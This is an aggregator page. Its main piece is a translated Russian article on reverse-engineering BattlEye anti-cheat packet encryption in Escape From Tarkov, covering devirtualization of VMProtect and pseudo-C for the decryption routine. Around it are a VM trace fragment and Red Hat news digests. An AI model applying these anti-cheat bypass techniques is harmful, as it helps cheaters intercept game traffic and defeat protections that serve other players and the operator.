LP=65534 SP=65532 STACK=[2,1,1] -> TOP[   6]    istore  #0    IP=8 FP=65535 LP=65534 SP=65533 STACK=[1,1] -> TOP[   8]    idup          IP=9 FP=65535 LP=65534 SP=65532 STACK=[1,1,1] -> TOP[   9]    iconst  10    IP=11 FP=65535 LP=65534 SP=65531 STACK=[1,1,1,10] -> TOP[  11]    call [32], 2  IP=32 FP=65533 LP=65527 SP=65528 STACK=[1,1,1,10,14,65535,65534] -> TOP[  32]    iconst  10    IP=34 FP=65533 LP=65527 SP=65527 STACK=[1,1,1,10,14,65535,65534,10] -> TOP[  34]    iarg    #0    IP=36 FP=65533 LP=65527 SP=65526 STACK=[1,1,1,10,14,65535,65534,10,1] -> TOP[  36]    iarg    #1    IP=38 FP=65533 LP=65527 SP=65525 STACK=[1,1,1,10,14,65535,65534,10,1,10] -> TOP[  38]    iadd          IP=39 FP=65533 LP=65527 SP=65526 STACK=[1,1,1,10,14,65535,65534,10,11] -> TOP[  39]    iload   #0    IP=41 FP=65533 LP=65527 SP=65525 STACK=[1,1,1,10,14,65535,65534,10,11,10] -> TOP[  41]    isub          IP=42 FP=65533 LP=65527 SP=65526 STACK=[1,1,1,10,14,65535,65534,10,1] -> TOP[  42]    ret           IP=14 FP=65535 LP=65534 SP=65532 STACK=[1,1,1] -> TOP[  14]    syscall 0x21  IP=16 FP=65535 LP=65534 SP=65533 STACK=[1,1] -> TOP[  16]    iconst  0     IP=18 FP=65535 LP=65534 SP=65532 STACK=[1,1,0] -> TOP[  18]    icmpjg  [2]   IP=2 FP=65535 LP=65534 SP=65534 STACK=[1] -> TOP[   2]    iload   #0    IP=4 FP=65535 LP=65534 SP=65533 STACK=[1,1] -> TOP[   4]    idec          IP=5 FP=65535 LP=65534 SP=65533 STACK=[1,0] -> TOP[   5]    idup          IP=6 FP=65535 LP=65534 SP=65532 STACK=[1,0,0] -> TOP[   6]    istore  #0    IP=8 FP=65535 LP=65534 SP=65533 STACK=[0,0] -> TOP[   8]    idup          IP=9 FP=65535 LP=65534 SP=65532 STACK=[0,0,0] -> TOP[   9]    iconst  10    IP=11 FP=65535 LP=65534 SP=65531 STACK=[0,0,0,10] -> TOP[  11]    call [32], 2  IP=32 FP=65533 LP=65527 SP=65528 STACK=[0,0,0,10,14,65535,65534] -> TOP[  32]    iconst  10    IP=34 FP=65533 LP=65527 SP=65527 STACK=[0,0,0,10,14,65535,65534,10] -> TOP[  34]    iarg    #0    IP=36 FP=65533 LP=65527 SP=65526 STACK=[0,0,0,10,14,65535,65534,10,0] -> TOP[  36]    iarg    #1    IP=38 FP=65533 LP=65527 SP=65525 STACK=[0,0,0,10,14,65535,65534,10,0,10] -> TOP[  38]    iadd          IP=39 FP=65533 LP=65527 SP=65526 STACK=[0,0,0,10,14,65535,65534,10,10] -> TOP[  39]    iload   #0    IP=41 FP=65533 LP=65527 SP=65525 STACK=[0,0,0,10,14,65535,65534,10,10,10] -> TOP[  41]    isub          IP=42 FP=65533 LP=65527 SP=65526 STACK=[0,0,0,10,14,65535,65534,10,0] -> TOP[  42]    ret           IP=14 FP=65535 LP=65534 SP=65532 STACK=[0,0,0] -> TOP[  14]    syscall 0x21  IP=16 FP=65535 LP=65534 SP=65533 STACK=[0,0] -> TOP[  16]    iconst  0     IP=18 FP=65535 LP=65534 SP=65532 STACK=[0,0,0] -> TOP[  18]    icmpjg  [2]   IP=20 FP=65535 LP=65534 SP=65534 STACK=[0] -> TOP[  20]    ---- halt ----IP=21 FP=65535 LP=65534 SP=65534 STACK=[0] -> TOPEXECUTION TIME: 0.620997s

В консоли данная программа выдает следующее

Эти числа в консоли говорят, что вызовы функций, передача аргументов, аллокация локальных переменных, возврат значения и восстановление стека после вызова работают нормально. Значит можно полностью переходить и фокусироваться на разработке компилятора для этой виртуальной машины (AST и генерацию кода). Теперь в виртуальной машине есть всё необходимое.

Ура! Это вдохновляет!

Подробнее..

Перевод Как мы взломали шифрование пакетов в BattlEye

20.04.2021 20:11:13 | Автор: admin

Недавно Battlestate Games, разработчики Escape From Tarkov, наняли BattlEye для реализации шифрования сетевых пакетов, чтобы мошенники не могли перехватить эти пакеты, разобрать их и использовать в своих интересах в виде радарных читов или иным образом. Сегодня подробно расскажем, как мы взломали их шифрование спустя несколько часов.


Анализ EFT

Мы начали с анализа самого "Escape from Tarkov". В игре используется Unity Engine, который, в свою очередь, использует C# промежуточный язык, а это означает, что можно очень легко просмотреть исходный код игры, открыв его в таких инструментах, как ILDasm или dnSpy. В этом анализе мы работали с dnSpy.

Unity Engine без опции IL2CPP генерирует игровые файлы и помещает их в GAME_NAME_Data\Managed, в нашем случае это EscapeFromTarkov_Data\Managed. Эта папка содержит все использующие движок зависимости, включая файл с кодом игры Assembly-CSharp.dll, мы загрузили этот файл в dnSpy, а затем искали строку encryption и оказались здесь:

Этот сегмент находится в классе EFT.ChannelCombined, который, как можно судить по переданным ему аргументам, работает с сетью:

Правый клик по переменной channelCombined.bool_2, которая регистрируется как индикатор того, было ли включено шифрование, а затем клик по кнопке Analyze показывают нам, что на эту переменную ссылаются два метода:

Второй из них тот, в котором мы сейчас находимся, так что, дважды щёлкнув по первому, мы окажемся здесь:

Вуаля!Есть вызов BEClient.EncryptPacket, клик по методу приведёт к классу BEClient, его мы можем препарировать и найти метод DecryptServerPacket. Этот метод вызывает функцию pfnDecryptServerPacket в библиотеке BEClient_x64.dll. Она расшифрует данные в пользовательском буфере и запишет размер расшифрованного буфера в предоставленный вызывающим методом указатель.

pfnDecryptServerPacket не экспортируется BattlEye и не вычисляется EFT, на самом деле он поставляется инициализатором BattlEye, который в какой-то момент вызывается игрой. Нам удалось вычислить RVA (Relative Virtual Address), загрузив BattlEye в свой процесс и скопировав то, как игра инициализирует его. Код этой программы лежит здесь.

Анализ BattlEye

В последнем разделе мы сделали вывод, что, чтобы выполнить все свои криптографические задачи, EFT вызывает BattlEye. Так что теперь речь идёт о реверс-инжинеринге не IL, а нативного кода, что значительно сложнее.

BattlEye использует защитный механизм под названием VMProtect, который виртуализирует и изменяет указанные разработчиком сегменты. Чтобы правильно выполнить реверс-инжинеринг защищённого этим обфускатором бинарника, нужно распаковать его.

Распаковка это дамп образа процесса во время выполнения; мы сделали дамп, загрузив его в локальный процесс, а затем поработав в Scylla, чтобы сбросить его память на диск.

Открытие этого файла в IDA, а затем переход к процедуре DecryptServerPacket приведут нас к функции, которая выглядит так:

Это называется vmentry, она добавляет на стек vmkey, а затем вызывает обработчика виртуальной машины vminit. Хитрость вот в чём: из-за того, что инструкции виртуализированы VMProtect, они понятны только самой программе.

К счастью для нас, участник Секретного Клуба can1357 сделал инструмент, который полностью ломает эту защиту, VTIL; его вы найдёте здесь.

Выясняем алгоритм

Созданный VTIL файл сократил функцию с 12195 инструкций до 265, что значительно упростило проект. Некоторые процедуры VMProtect присутствовали в дизассемблированном коде, но они легко распознаются и их можно проигнорировать, шифрование начинается отсюда:

Вот эквивалент в псевдо-Си:

uint32_t flag_check = *(uint32_t*)(image_base + 0x4f8ac);if (flag_check != 0x1b)goto 0x20e445;elsegoto 0x20e52b;

VTIL использует свой собственный набор инструкций, чтобы ещё больше упростить код. Я перевёл его на псевдо-Си.

Мы анализируем эту процедуру, войдя в 0x20e445, который является переходом к 0x1a0a4a, в самом начале этой функции они перемещают sr12 копию rcx (первый аргумент в соглашении о вызове x64 по умолчанию) и хранят его на стеке в [rsp+0x68], а ключ xor в [rsp+0x58]. Затем эта процедура переходит к 0x1196fd, вот он:

И вот эквивалент в псевдо-Си:

uint32_t xor_key_1 = *(uint32_t*)(packet_data + 3) ^ xor_key;(void(*)(uint8_t*, size_t, uint32_t))(0x3dccb7)(packet_data, packet_len, xor_key_1);

Обратите внимание, что rsi это rcx, а sr47 это копия rdx. Так как это x64, они вызывают 0x3dccb7 с аргументами в таком порядке: (rcx, rdx, r8). К счастью для нас, vxcallq во VTIL означает вызов функции, приостановку виртуального выполнения, а затем возврат в виртуальную машину, так что 0x3dccb7 не виртуализированная функция! Войдя в эту функцию в IDA и нажав F5, вы вызовете сгенерированный декомпилятором псевдокод:

Этот код выглядит непонятно, в нём какие-то случайные ассемблерные вставки, и они вообще не имеют значения. Как только мы отменим эти инструкции, изменим некоторые типы var, а затем снова нажмём F5, код будет выглядеть намного лучше:

Эта функция расшифровывает пакет в несмежные 4-байтовые блоки, начиная с 8-го байта, с помощью ключа шифра rolling xor.

Примечание от переводчика:

Rolling xor шифр, при котором операция xor буквально прокатывается [отсюда rolling] по байтам:

  • Первый байт остаётся неизменным.

  • Второй байт это результат xor первого и второго оригинальных байтов.

  • Третий байт результат XOR изменённого второго и оригинального третьего байтов и так далее. Реализация здесь.

Продолжая смотреть на ассемблер, мы поймём, что она вызывает здесь другую процедуру:

Эквивалент на ассемблере x64:

mov t225, dword ptr [rsi+0x3]mov t231, byte ptr [rbx]add t231, 0xff ; uhoh, overflow; the following is psuedomov [$flags], t231 u< rbx:8not t231movsx t230, t231mov [$flags+6], t230 == 0mov [$flags+7], t230 < 0movsx t234, rbxmov [$flags+11], t234 < 0mov t236, t234 < 1mov t235, [$flags+11] != t236and [$flags+11], t235mov rdx, sr46 ; sr46=rdxmov r9, r8sbb eax, eax ; this will result in the CF (carry flag) being written to EAXmov r8, t225mov t244, raxand t244, 0x11 ; the value of t244 will be determined by the sbb from above, it'll be either -1 or 0 shr r8, t244 ; if the value of this shift is a 0, that means nothing will happen to the data, otherwise it'll shift it to the right by 0x11mov rcx, rsimov [rsp+0x20], r9mov [rsp+0x28], [rsp+0x68]call 0x3dce60

Прежде чем мы продолжим разбирать вызываемую им функцию, мы должны прийти к следующему выводу: сдвиг бессмыслен из-за того, что флаг переноса не установлен, а это приводит к возвращаемому из инструкции sbb значению 0; в свою очередь, это означает, что мы не на правильном пути.

Если поискать ссылки на первую процедуру 0x1196fd, то увидим, что на неё действительно ссылаются снова, на этот раз с другим ключом!

Это означает, что первый ключ на самом деле направлял по ложному следу, а второй, скорее всего, правильный. Хороший Бастиан!

Теперь, когда мы разобрались с реальным ключом xor и аргументами к 0x3dce60, которые расположены в таком порядке: (rcx, rdx, r8, r9, rsp+0x20, rsp+0x28). Переходим к этой функции в IDA, нажимаем F5 и теперь прочитать её очень легко:

Мы знаем порядок аргументов, их тип и значение; единственное, что осталось, перевести наши знания в реальный код, который мы хорошо написали и завернули в этот gist.

Заключение

Это шифрование было не самым сложным для реверс-инжиниринга, и наши усилия, безусловно, были замечены BattlEye; через 3 дня шифрование было изменено на TLS-подобную модель, где для безопасного обмена ключами AES используется RSA. Это делает MITM без чтения памяти процесса неосуществимым во всех смыслах и целях.

Если вам близка сфера информационной безопасности то вы можете обратить свое внимание на наш специальный курс Этичный хакер, на котором мы учим студентов искать уязвимости даже в самых надежных системах и зарабатывать на этом.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Гайд по git stash, разбиваем диск под Linux с GNU Parted, шпаргалка по SQLite и полезное руководство по графикам

22.04.2021 12:11:11 | Автор: admin

Новая порция инсайтов, мероприятий, книжек и шпаргалок. Оставайтесь с нами станьте частью DevNation!

Узнать новое:

Скачать:

Почитать на досуге:

Мероприятия:

  • Виртуальный Red Hat Summit 2021, 27-28 апреля
    Бесплатная онлайн-конференция Red Hat Summit это отличный способ узнать последние новости ИТ-индустрии, задать свои вопросы техническим экспертам, услышать истории успеха непосредственно от заказчиков Red Hat и увидеть, как открытый код генерирует инновации в корпоративном секторе.

  • Cook Your Own Cloud: OpenShift + OpenStack + немного перца! 30 апреля
    Миграция на облачную платформу тем актуальнее, чем сложнее инфраструктура и выше число изменений. Как насчет того, чтобы автоматизировать рутинные задачи и сконцентрироваться на бизнес-процессах? Мы в Red Hat знаем, как создать облачное решение для IaaS и PaaS- платформ. И мы хотим поделиться своим опытом! На вебинаре архитектор Дмитрий Алехин расскажет про связку Red Hat Openstack Platform и Red Hat Openshift Container Platform, которые позволяют осуществить стратегию открытого гибридного облака. Регистрируйтесь и приходите!

Подробнее..

Бесплатный онлайн-курс Основы Ansible, шпаргалка по GNU Screen, запись Red Hat Summit и многое другое

06.05.2021 14:05:14 | Автор: admin

Мы знаем, как провести эти праздники максимально полезно: собрали для вас много новых инсайтов, записей важных вебинаров, книжек и шпаргалок. Прокачивайте скилы, читайте, смотрите, думайте, применяйте на практике! Станьте частью DevNation!

Узнать новое:

Скачать:

Что еще интересного:

Мероприятия:

Вебинары:

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru